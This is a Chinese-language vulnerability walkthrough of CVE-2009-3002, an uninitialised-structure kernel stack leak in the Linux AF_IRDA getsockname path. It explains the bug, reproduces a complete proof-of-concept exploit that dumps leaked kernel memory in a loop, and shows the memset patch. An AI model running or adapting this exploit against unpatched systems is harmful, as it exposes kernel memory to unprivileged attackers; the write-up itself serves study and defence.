The Vulnerability

getname()函数是内核中地址族的一个功能,用于检索有关给定套接字的信息。这些信息以sockaddr结构体的形式存在,可以通过getsockname(2)getpeername(2)系统调用分别从用户空间访问绑定和连接的套接字。

一个典型的getname()函数的操作如下:在栈上的一个sockaddr结构体被填充内部套接字结构的地址信息,然后通过memcpy()函数复制到目的地sockaddr中,此后将其复制回用户空间。例如,以下是在net/irda/af_irda.cirda地址族的getname()函数:

static int irda_getname(struct socket *sock, struct sockaddr *uaddr, int *uaddr_len, int peer)
{
    struct sockaddr_irda saddr;
    struct sock *sk = sock->sk;
    struct irda_sock *self = irda_sk(sk);

    // 填充saddr中的几个成员,这是一个sockaddr_irda结构体
    if (peer) {
        if (sk->sk_state != TCP_ESTABLISHED)
            return -ENOTCONN;

        saddr.sir_family = AF_IRDA;
        saddr.sir_lsap_sel = self->dtsap_sel;
        saddr.sir_addr = self->daddr;
    } else {
        saddr.sir_family = AF_IRDA;
        saddr.sir_lsap_sel = self->stsap_sel;
        saddr.sir_addr = self->saddr;
    }

    IRDA_DEBUG(1, "%s(), tsap_sel = %#x\n", __func__, saddr.sir_lsap_sel);
    IRDA_DEBUG(1, "%s(), addr = %08x\n", __func__, saddr.sir_addr);

    /* uaddr_len come to us uninitialised */
    *uaddr_len = sizeof (struct sockaddr_irda);
    memcpy(uaddr, &saddr, *uaddr_len); // 通过`memcpy()`函数复制到目的地`sockaddr`中,后面再把uaddr的内容复制到用户空间

    return 0;
}

查看在include/linux/irda.hsockaddr_irda结构体的定义:

struct sockaddr_irda {
    sa_family_t sir_family;   /* AF_IRDA  2Byte*/ 
    __u8        sir_lsap_sel; /* LSAP selector  1Byte*/
    __u32       sir_addr;     /* Device address  4Byte */
    char        sir_name[25]; /* 通常为 <service>:IrDA:TinyTP 25Byte*/
};

这个结构体总大小为36字节,包括一个较大的25字节sir_name成员。注意,在上述irda_getname()函数中sir_name成员没有被memset()或初始化。**这意味着我们最终的memcpy()将会从栈上复制未初始化的数据,然后返回给用户空间,可能泄露敏感信息。**除了25字节的sir_name,编译器还在sir_lsap_selsir_addr之间为了对齐目的插入了一个字节的填充,以及在sir_name后还有3字节的填充。这导致总共有29字节的未初始化的内核栈内存被泄漏到用户空间。

事实证明,这个问题不仅限于irda,还包括canappletalkrosenetromeconetllc地址族。这些漏洞影响Linux 2.6内核在2.6.31-rc7之前的版本。虽然这些套接字家族不是最常见的,但它们作为模块随通用发行版自动加载,当创建套接字时通过request_module("net-pf-X")调用。这是另一个理由说明为什么你应该从你的内核配置中剔除未使用和可能存在漏洞的代码,或使用像grsecurity的MODHARDEN这样的工具来减少你的攻击面。

小结

当看到未初始化的局部变量结构体时就要敏感了,如果只设置其部分内容,然后进行拷贝和传到用户空间的操作,就会发生信息泄漏

The Exploit

利用这个内存泄露漏洞非常直接和简单,可以由非特权用户执行。对于 irda,我们只需要创建一个 AF_IRDA 套接字,然后对其调用 getsockname(2)。利用其他一些易受攻击的地址族可能需要绑定或连接套接字以满足 getname() 函数中的某些条件。但对于 irda,所需的代码很简单:

struct sockaddr_irda saddr;
int sock, len = sizeof(saddr);
sock = socket(AF_IRDA, SOCK_DGRAM, 0);
getsockname(sock, (struct sockaddr *) &saddr, &len);

现在的 saddr 结构将包含 29 字节的未初始化的内核栈内存(第 4 字节和第 9-36 字节)。

完整Exploit如下:

/* 
 * cve-2009-3002.c
 *
 * Linux Kernel < 2.6.31-rc7 AF_IRDA getsockname 29-Byte Stack Disclosure
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 * 
 *   http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3002 
 *
 *   The Linux kernel before 2.6.31-rc7 does not initialize certain data 
 *   structures within getname functions, which allows local users to read 
 *   the contents of some kernel memory locations by calling getsockname 
 *   on ... (2) an AF_IRDA socket, related to the irda_getname function in 
 *   net/irda/af_irda.c.
 *
 * Notes:
 * 
 *   Yet another stack disclosure...although this one is big and contiguous.
 */

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#ifndef AF_IRDA
#define AF_IRDA 23 // AF_IRDA 被定义为 23,这是 IRDA(红外数据协会)套接字的地址族标识符
#endif

struct sockaddr_irda { // 用于存储 IRDA 套接字地址信息
	uint16_t sir_family;
	uint8_t sir_lsap_sel;
	uint32_t sir_addr;
	char sir_name[25];
};

const int randcalls[] = {
	__NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
	__NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl,
	__NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup,
	__NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl,
	__NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday,
	__NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
	__NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid,
	__NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority,
	__NR_sched_getparam, __NR_sched_get_priority_max
};

void
dump(const unsigned char *p, unsigned l)
{
	printf("sockaddr_irda:");
	while (l > 0) {
		printf(" ");
		if (l == 33 || l == 28) {
			printf("<<< ");
		}
		printf("%02x", *p);
		if (l == 33 || l == 1) {
			printf(" >>>");
		}
		++p; --l;
	}
	printf("\n");
}

int
main(void)
{
	struct sockaddr_irda saddr;
	int ret, call, sock, len = sizeof(saddr);

	printf("[+] Creating AF_IRDA socket.\n");

  //【1】创建一个类型为 AF_IRDA 和 SOCK_DGRAM(数据报套接字)的套接字
	sock = socket(AF_IRDA, SOCK_DGRAM, 0);
	if (sock == -1) {
		printf("[-] Error: Couldn't create AF_IRDA socket.\n");
		printf("[-] %s.\n", strerror(errno));
		exit(1);
	}

  //【2】使用 memset 将 sockaddr_irda 结构清零,以确保它从干净的状态开始
	memset(&saddr, 0, len);

	printf("[+] Ready to call getsockname.\n\n");

  //【3】实现从 5 到 1 的倒计时,可能是为了准备演示?
	for (ret = 5; ret > 0; ret--) {
		printf("%d...\n", ret);
		sleep(1);
	}
	srand(time(NULL));

  // 启动循环
	while (1) {
    // 【4】在循环中执行随机系统调用。这样做是为了操纵栈并使内存布局“伪有趣”或不可预测,模拟可能已经进行了各种系统调用影响堆栈状态的真实场景。
		/* random stuff to make stack pseudo-interesting */
		call = rand() % (sizeof(randcalls) / sizeof(int));
		syscall(randcalls[call]);

    // 【5】重复调用 getsockname,尝试通过 sockaddr_irda 结构从内核中提取未初始化的内存
		ret = getsockname(sock, (struct sockaddr *) &saddr, &len);
		if (ret != 0) {
			printf("[-] Error: getsockname failed.\n");
			printf("[-] %s.\n", strerror(errno));
			exit(1);
		}

    //【6】使用 dump 函数将结果打印到标准输出
		dump((unsigned char *) &saddr, sizeof(saddr));
	}

	return 0;
}

The Fix

修复很简单,在getname()函数开始时对sockaddr结构体使用memset()函数,以确保未初始化的内存不会泄露给用户空间

--- a/net/irda/af_irda.c
+++ b/net/irda/af_irda.c
@@ -714,6 +714,7 @@ static int irda_getname(struct socket *sock, struct sockaddr *uaddr,
        struct sock *sk = sock->sk;
        struct irda_sock *self = irda_sk(sk);

+       memset(&saddr, 0, sizeof(saddr));
        if (peer) {
                if (sk->sk_state != TCP_ESTABLISHED)
                        return -ENOTCONN;

References